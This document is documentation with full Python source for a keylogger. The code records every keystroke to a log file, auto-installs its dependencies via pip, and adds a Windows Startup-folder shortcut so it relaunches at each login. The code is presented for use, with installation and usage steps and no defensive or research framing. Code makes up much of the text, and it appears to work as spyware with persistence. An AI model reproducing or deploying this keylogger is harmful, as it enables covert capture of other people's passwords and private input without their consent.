Python Keylogger Documentation

Overview

This Python keylogger captures keystrokes and logs them into a file. It runs in the background and can automatically start with the operating system. The captured keystrokes are saved in a file named key_log.log.

Prerequisites

Before running the keylogger, ensure you have the following libraries installed:

• pynput: For capturing keyboard events.
• plyer: For displaying notifications (if desired).
• pywin32: For creating Windows shortcuts.

The script will check for these libraries and install any that are missing automatically.

Installation

1. Ensure Python is installed on your system.
2. Download the script and save it as keylogger.py.
3. Run the script using Python:

   python keylogger.py

The script will automatically check for required packages and install any that are missing.

Usage

Once the script is running, it will capture all keyboard inputs until the "Escape" key is pressed. The logged keystrokes will be saved in key_log.log in the same directory as the script.

Automatic Startup

The keylogger creates a shortcut in the Windows Startup folder, ensuring it runs automatically whenever the user logs into Windows.

Code Explanation

Imports and Package Installation

import subprocess
import sys
import os

def install(package):
    subprocess.check_call([sys.executable, "-m", "pip", "install", package])

def check_and_install():
    packages = ['pywin32', 'pynput', 'plyer'] 
    for package in packages:
        try:
            __import__(package)  
        except ImportError:
            install(package)  

• subprocess: Used for executing system commands to install packages.
• sys: Provides access to system-specific parameters and functions.
• os: Used for interacting with the operating system.
• install: A function to install a package using pip.
• check_and_install: A function that checks for the necessary packages and installs any that are missing.

Logging Mechanism

check_and_install()

import win32com.client
from pynput.keyboard import Key, Listener
from plyer import notification

log_file = "key_log.log"
log_content = ""

• check_and_install(): Calls the function to ensure required libraries are present.
• log_file: Specifies the name of the log file.
• log_content: A string that holds the recorded keystrokes.

Key Press Handling

def on_press(key):
    global log_content
    try:
        if key.char:
            log_content += key.char  
    except AttributeError:
        if key == Key.backspace:
            log_content = log_content[:-1]
        else:
            log_content += f" {key} "

    with open(log_file, "w") as f:
        f.write(log_content)

• on_press: A callback function triggered when a key is pressed. It appends the pressed key to log_content and writes it to log_file.

Key Release Handling

def on_release(key):
    if key == Key.esc:
        return False

• on_release: A callback function triggered when a key is released. If the "Escape" key is pressed, it stops the listener.

Creating a Startup Shortcut

def create_startup_shortcut():
    keylogger_path = os.path.join(os.path.dirname(sys.executable), "dist", "keylogger.exe")
    startup_folder = os.path.join(os.getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")

    shell = win32com.client.Dispatch("WScript.Shell")
    shortcut = shell.CreateShortCut(os.path.join(startup_folder, "Keylogger.lnk"))
    shortcut.TargetPath = keylogger_path
    shortcut.WorkingDirectory = os.path.dirname(keylogger_path)
    shortcut.save()

• create_startup_shortcut: Creates a Windows shortcut to ensure the keylogger runs at startup.

Main Listener

create_startup_shortcut()

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

• Listener: A context manager that listens for keyboard events. It calls on_press and on_release as keys are pressed and released, respectively.